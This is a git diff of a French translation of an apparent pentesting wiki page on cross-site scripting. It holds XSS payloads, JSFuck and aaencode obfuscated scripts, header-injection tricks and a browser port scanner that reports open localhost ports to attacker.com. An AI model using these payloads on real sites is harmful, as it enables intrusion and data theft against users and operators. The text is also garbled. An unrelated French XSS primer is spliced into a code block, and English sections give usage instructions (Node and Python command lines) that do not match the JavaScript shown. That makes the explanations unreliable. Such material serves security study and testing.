contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
|
||||
|
|
@ -1063,7 +1056,7 @@ document['default'+'View'][`\u0061lert`](3)
|
|||
```
|
||||
### XSS avec injection d'en-tête dans une réponse 302
|
||||
|
||||
Si vous découvrez que vous pouvez **injecter des en-têtes dans une réponse de redirection 302**, vous pouvez essayer de **faire exécuter du JavaScript arbitraire par le navigateur**. Cela n'est **pas trivial** car les navigateurs modernes n'interprètent pas le corps de la réponse HTTP si le code de statut de la réponse HTTP est 302, donc une charge utile de script entre sites est inutile.
|
||||
Si vous découvrez que vous pouvez **injecter des en-têtes dans une réponse de redirection 302**, vous pouvez essayer de **faire exécuter du code JavaScript arbitraire par le navigateur**. Cela n'est **pas trivial** car les navigateurs modernes n'interprètent pas le corps de la réponse HTTP si le code de statut de la réponse HTTP est 302, donc une charge utile de cross-site scripting est inutile.
|
||||
|
||||
Dans [**ce rapport**](https://www.gremwell.com/firefox-xss-302) et [**celui-ci**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/), vous pouvez lire comment tester plusieurs protocoles à l'intérieur de l'en-tête Location et voir si l'un d'entre eux permet au navigateur d'inspecter et d'exécuter la charge utile XSS à l'intérieur du corps.\
|
||||
Protocoles connus : `mailto://`, `//x:1/`, `ws://`, `wss://`, en-tête Location vide, `resource://`.
|
||||
|
|
@ -1078,7 +1071,7 @@ Si vous êtes en mesure d'indiquer la **fonction de rappel** que JavaScript va *
|
|||
|
||||
> Refused to execute script from ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
|
||||
|
||||
Les seuls **types de contenu** qui permettront à Chrome d'exécuter un **script chargé** sont ceux présents dans la constante **`kSupportedJavascriptTypes`** de [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc)
|
||||
Les seuls **types de contenu** qui permettront à Chrome d'exécuter un script chargé sont ceux présents dans la constante **`kSupportedJavascriptTypes`** de [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc)
|
||||
```c
|
||||
const char* const kSupportedJavascriptTypes[] = {
|
||||
"application/ecmascript",
|
||||
|
|
@ -1167,11 +1160,11 @@ Ce comportement a été utilisé dans [**ce compte rendu**](https://github.com/z
|
|||
* application/rss+xml (off)
|
||||
* application/atom+xml (off)
|
||||
|
||||
Dans d'autres navigateurs, d'autres **`Types de contenu`** peuvent être utilisés pour exécuter du JS arbitraire, vérifiez : [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
|
||||
Dans d'autres navigateurs, d'autres **`Types de contenu`** peuvent être utilisés pour exécuter du code JS arbitraire, vérifiez : [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
|
||||
|
||||
### Type de contenu xml
|
||||
|
||||
Si la page renvoie un type de contenu text/xml, il est possible d'indiquer un espace de noms et d'exécuter du JS arbitraire :
|
||||
Si la page renvoie un type de contenu text/xml, il est possible d'indiquer un espace de noms et d'exécuter du code JS arbitraire :
|
||||
```xml
|
||||
<xml>
|
||||
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
|
||||
|
|
@ -1308,45 +1301,11 @@ trigger()
|
|||
|
||||
```javascript
|
||||
//JSFuck
|
||||
<script>(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()</script>
|
||||
<script>(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()</script>
|
||||
|
||||
```javascript
|
||||
//aaencode
|
||||
# XSS (Cross-Site Scripting)
|
||||
|
||||
Le XSS (Cross-Site Scripting) est une vulnérabilité courante dans les applications Web qui permet à un attaquant d'injecter du code malveillant dans les pages Web consultées par les utilisateurs. Cela peut entraîner des attaques telles que le vol de sessions, le vol de cookies et la redirection vers des sites Web malveillants.
|
||||
|
||||
## Types de XSS
|
||||
|
||||
Il existe trois types de XSS :
|
||||
|
||||
1. XSS stocké : le code malveillant est stocké sur le serveur et est renvoyé à chaque fois que la page est consultée.
|
||||
2. XSS réfléchi : le code malveillant est inclus dans un lien ou un formulaire et est renvoyé à la victime lorsqu'elle clique sur le lien ou soumet le formulaire.
|
||||
3. XSS basé sur le DOM : le code malveillant est injecté dans le DOM (Document Object Model) de la page Web et est exécuté côté client.
|
||||
|
||||
## Prévention du XSS
|
||||
|
||||
Pour prévenir les attaques XSS, il est important de mettre en place les mesures suivantes :
|
||||
|
||||
1. Échapper les caractères spéciaux : les données provenant des utilisateurs doivent être correctement échappées pour éviter l'injection de code malveillant.
|
||||
2. Valider et filtrer les entrées utilisateur : toutes les entrées utilisateur doivent être validées et filtrées pour s'assurer qu'elles ne contiennent pas de code malveillant.
|
||||
3. Utiliser des bibliothèques de sécurité : utilisez des bibliothèques de sécurité telles que OWASP ESAPI pour aider à prévenir les attaques XSS.
|
||||
4. Mettre en place des en-têtes de sécurité : configurez les en-têtes de sécurité HTTP tels que Content-Security-Policy (CSP) pour limiter les sources de contenu autorisées sur une page Web.
|
||||
|
||||
## Exemple de code XSS
|
||||
|
||||
Voici un exemple de code XSS :
|
||||
|
||||
```javascript
|
||||
<script>
|
||||
alert('Ce site a été piraté !');
|
||||
// Code malveillant supplémentaire...
|
||||
</script>
|
||||
```
|
||||
|
||||
Ce code injecte un script malveillant qui affiche une alerte sur la page Web. Les attaquants peuvent utiliser des techniques plus avancées pour voler des informations sensibles ou effectuer des actions malveillantes au nom de l'utilisateur.
|
||||
|
||||
Il est essentiel de mettre en place des mesures de sécurité appropriées pour prévenir les attaques XSS et protéger les utilisateurs de votre application Web.
|
||||
ﾟωﾟﾉ= /｀ｍ´）ﾉ ~┻━┻ //*´∇｀*/ ['_']; o=(ﾟｰﾟ) =_=3; c=(ﾟΘﾟ) =(ﾟｰﾟ)-(ﾟｰﾟ); (ﾟДﾟ) =(ﾟΘﾟ)= (o^_^o)/ (o^_^o);(ﾟДﾟ)={ﾟΘﾟ: '_' ,ﾟωﾟﾉ : ((ﾟωﾟﾉ==3) +'_') [ﾟΘﾟ] ,ﾟｰﾟﾉ :(ﾟωﾟﾉ+ '_')[o^_^o -(ﾟΘﾟ)] ,ﾟДﾟﾉ:((ﾟｰﾟ==3) +'_')[ﾟｰﾟ] }; (ﾟДﾟ) [ﾟΘﾟ] =((ﾟωﾟﾉ==3) +'_') [c^_^o];(ﾟДﾟ) ['c'] = ((ﾟДﾟ)+'_') [ (ﾟｰﾟ)+(ﾟｰﾟ)-(ﾟΘﾟ) ];(ﾟДﾟ) ['o'] = ((ﾟДﾟ)+'_') [ﾟΘﾟ];(ﾟoﾟ)=(ﾟДﾟ) ['c']+(ﾟДﾟ) ['o']+(ﾟωﾟﾉ +'_')[ﾟΘﾟ]+ ((ﾟωﾟﾉ==3) +'_') [ﾟｰﾟ] + ((ﾟДﾟ) +'_') [(ﾟｰﾟ)+(ﾟｰﾟ)]+ ((ﾟｰﾟ==3) +'_') [ﾟΘﾟ]+((ﾟｰﾟ==3) +'_') [(ﾟｰﾟ) - (ﾟΘﾟ)]+(ﾟДﾟ) ['c']+((ﾟДﾟ)+'_') [(ﾟｰﾟ)+(ﾟｰﾟ)]+ (ﾟДﾟ) ['o']+((ﾟｰﾟ==3) +'_') [ﾟΘﾟ];(ﾟДﾟ) ['_'] =(o^_^o) [ﾟoﾟ] [ﾟoﾟ];(ﾟεﾟ)=((ﾟｰﾟ==3) +'_') [ﾟΘﾟ]+ (ﾟДﾟ) .ﾟДﾟﾉ+((ﾟДﾟ)+'_') [(ﾟｰﾟ) + (ﾟｰﾟ)]+((ﾟｰﾟ==3) +'_') [o^_^o -ﾟΘﾟ]+((ﾟｰﾟ==3) +'_') [ﾟΘﾟ]+ (ﾟωﾟﾉ +'_') [ﾟΘﾟ]; (ﾟｰﾟ)+=(ﾟΘﾟ); (ﾟДﾟ)[ﾟεﾟ]='\\'; (ﾟДﾟ).ﾟΘﾟﾉ=(ﾟДﾟ+ ﾟｰﾟ)[o^_^o -(ﾟΘﾟ)];(oﾟｰﾟo)=(ﾟωﾟﾉ +'_')[c^_^o];(ﾟДﾟ) [ﾟoﾟ]='\"';(ﾟДﾟ) ['_'] ( (ﾟДﾟ) ['_'] (ﾟεﾟ+(ﾟДﾟ)[ﾟoﾟ]+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ (ﾟΘﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) +(o^_^o))+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+((ﾟｰﾟ) + (ﾟΘﾟ))+ (c^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟｰﾟ)+ ((o^_^o) - (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟΘﾟ)+ (c^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ ((ﾟｰﾟ) + (o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟｰﾟ)+ (c^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟΘﾟ)+ ((o^_^o) - (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ (ﾟΘﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) +(o^_^o))+ ((o^_^o) +(o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ (ﾟΘﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) - (ﾟΘﾟ))+ (o^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ (o^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟΘﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) +(o^_^o))+ (c^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) +(o^_^o))+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟｰﾟ)+ ((o^_^o) - (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟΘﾟ)+ (ﾟДﾟ)[ﾟoﾟ]) (ﾟΘﾟ)) ('_');
|
||||
|
||||
```javascript
|
||||
// It's also possible to execute JS code only with the chars: []`+!${}
|
||||
|
|
@ -1400,29 +1359,33 @@ xhr.send(null);
|
|||
```
|
||||
### Trouver les adresses IP internes
|
||||
|
||||
To find internal IPs, you can use various techniques during a penetration test. These techniques can help you identify the IP addresses assigned to devices within the target network.
|
||||
To find internal IPs, you can use various techniques during a penetration test. These techniques involve exploiting vulnerabilities in web applications to gather information about the internal network.
|
||||
|
||||
#### 1. DNS Enumeration
|
||||
#### 1. Cross-Site Scripting (XSS)
|
||||
|
||||
Perform DNS enumeration to gather information about the target's internal infrastructure. This can be done using tools like `dnsenum`, `dnsrecon`, or `nslookup`. By querying the DNS server, you may obtain internal IP addresses associated with the target domain.
|
||||
XSS vulnerabilities can be leveraged to execute malicious scripts on a victim's browser. By injecting a script that sends the victim's internal IP address to an external server, you can obtain the internal IP.
|
||||
|
||||
#### 2. Network Scanning
|
||||
#### 2. Server-Side Request Forgery (SSRF)
|
||||
|
||||
Use network scanning tools such as `nmap` or `masscan` to scan the target network for live hosts. By scanning the network, you can identify active devices and their corresponding IP addresses.
|
||||
SSRF vulnerabilities allow an attacker to make requests from the server to internal resources. By crafting a request to a service that reveals internal IP addresses, you can retrieve the internal IPs.
|
||||
|
||||
#### 3. Reverse DNS Lookup
|
||||
#### 3. Local File Inclusion (LFI)
|
||||
|
||||
Perform a reverse DNS lookup on the target IP addresses. This can be done using tools like `nslookup` or online services. By performing a reverse DNS lookup, you may obtain information about the internal hostnames associated with the IP addresses.
|
||||
LFI vulnerabilities can be exploited to read files on the server. By accessing files that contain internal IP addresses, you can obtain the internal IPs.
|
||||
|
||||
#### 4. Banner Grabbing
|
||||
#### 4. Error-Based Information Leakage
|
||||
|
||||
Use banner grabbing techniques to gather information from network services running on the target network. By analyzing the banners, you may find internal IP addresses mentioned in the service responses.
|
||||
Sometimes, error messages can reveal internal IP addresses. By causing an error on the server and analyzing the error message, you may find internal IP information.
|
||||
|
||||
#### 5. Social Engineering
|
||||
#### 5. DNS Rebinding
|
||||
|
||||
Engage in social engineering tactics to gather information about the target's internal infrastructure. This can involve contacting employees or using publicly available information to obtain internal IP addresses.
|
||||
DNS rebinding attacks can be used to bypass the same-origin policy and access internal resources. By setting up a malicious DNS server, you can trick the victim's browser into making requests to internal IPs.
|
||||
|
||||
Remember, it is important to obtain proper authorization and follow legal guidelines when performing any penetration testing activities.
|
||||
#### 6. Port Scanning
|
||||
|
||||
Port scanning can be used to identify open ports on a target system. By scanning the internal IP range, you can discover active internal IPs.
|
||||
|
||||
Remember, when performing a penetration test, always ensure you have proper authorization and follow legal guidelines.
|
||||
```html
|
||||
<script>
|
||||
var q = []
|
||||
|
|
@ -1474,44 +1437,53 @@ The `port-scanner-fetch.js` script is a simple port scanner that uses the `fetch
|
|||
|
||||
To use the script, you need to provide the target host and a range of ports to scan. The script will then send HTTP requests to each port in the specified range and check for a response. If a response is received, it means that the port is open.
|
||||
|
||||
Here's how you can use the `port-scanner-fetch.js` script:
|
||||
Here's how you can use the script:
|
||||
|
||||
1. Open the script in a text editor.
|
||||
2. Modify the `targetHost` variable to specify the target host you want to scan.
|
||||
3. Modify the `startPort` and `endPort` variables to specify the range of ports you want to scan.
|
||||
4. Save the script.
|
||||
5. Open a terminal or command prompt and navigate to the directory where the script is saved.
|
||||
6. Run the script using the `node` command: `node port-scanner-fetch.js`.
|
||||
```bash
|
||||
node port-scanner-fetch.js <target_host> <start_port> <end_port>
|
||||
```
|
||||
|
||||
The script will then start scanning the specified range of ports and display the open ports it finds.
|
||||
Replace `<target_host>` with the IP address or domain name of the target system. `<start_port>` and `<end_port>` should be replaced with the range of ports you want to scan.
|
||||
|
||||
Note: Port scanning can be considered illegal or unethical if performed without proper authorization. Always ensure that you have the necessary permissions before conducting any port scanning activities.
|
||||
For example, to scan ports 1 to 100 on the target system with IP address `192.168.0.1`, you would run the following command:
|
||||
|
||||
```bash
|
||||
node port-scanner-fetch.js 192.168.0.1 1 100
|
||||
```
|
||||
|
||||
The script will then display a list of open ports on the target system.
|
||||
|
||||
Note: This script should only be used for legitimate purposes, such as network administration or penetration testing with proper authorization. Unauthorized port scanning is illegal and can result in severe consequences.
|
||||
```javascript
|
||||
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
|
||||
```
|
||||
### Scanner de ports (websockets)
|
||||
|
||||
This tool is a port scanner specifically designed for websockets. It allows you to scan for open ports on a target server that supports the websocket protocol. The scanner sends a connection request to each port and waits for a response. If a response is received, it means that the port is open and the websocket service is running.
|
||||
---
|
||||
|
||||
#### Description
|
||||
|
||||
This tool is a port scanner specifically designed for websockets. It allows you to scan for open ports on a target server that are specifically used for websocket communication.
|
||||
|
||||
#### Usage
|
||||
|
||||
To use the port scanner, you need to provide the target server's IP address and the range of ports you want to scan. The scanner will then attempt to connect to each port within the specified range.
|
||||
To use this tool, you need to provide the target server's IP address and the range of ports you want to scan. The tool will then attempt to establish a websocket connection on each port within the specified range and determine if it is open or closed.
|
||||
|
||||
Here is an example command:
|
||||
|
||||
```
|
||||
python port_scanner.py <target_ip> <start_port> <end_port>
|
||||
python port_scanner.py --target 192.168.0.1 --ports 8000-9000
|
||||
```
|
||||
|
||||
Replace `<target_ip>` with the IP address of the server you want to scan. `<start_port>` and `<end_port>` should be replaced with the range of ports you want to scan. For example, to scan ports 1 to 100 on a server with IP address 192.168.0.1, you would run:
|
||||
In this example, the tool will scan the target server with IP address `192.168.0.1` for open websocket ports within the range of `8000` to `9000`.
|
||||
|
||||
```
|
||||
python port_scanner.py 192.168.0.1 1 100
|
||||
```
|
||||
#### Output
|
||||
|
||||
The scanner will display the status of each port it scans, indicating whether it is open or closed.
|
||||
The tool will display the results of the port scan, indicating which ports are open and which are closed. It will also provide additional information such as the response received from the server on each port.
|
||||
|
||||
#### Disclaimer
|
||||
#### Limitations
|
||||
|
||||
This port scanner is intended for use in authorized penetration testing or educational purposes only. Unauthorized use of this tool is strictly prohibited. The author is not responsible for any misuse or damage caused by this tool.
|
||||
Please note that this tool is specifically designed for scanning websockets and may not work properly with other types of ports or protocols. Additionally, keep in mind that scanning ports without proper authorization may be illegal and could result in legal consequences. Always ensure you have proper authorization before conducting any port scanning activities.
|
||||
```python
|
||||
var ports = [80, 443, 445, 554, 3306, 3690, 1234];
|
||||
for(var i=0; i<ports.length; i++) {
|
||||
|
|
@ -1538,17 +1510,15 @@ Consultez la liste des ports interdits dans Chrome [**ici**](https://src.chromiu
|
|||
|
||||
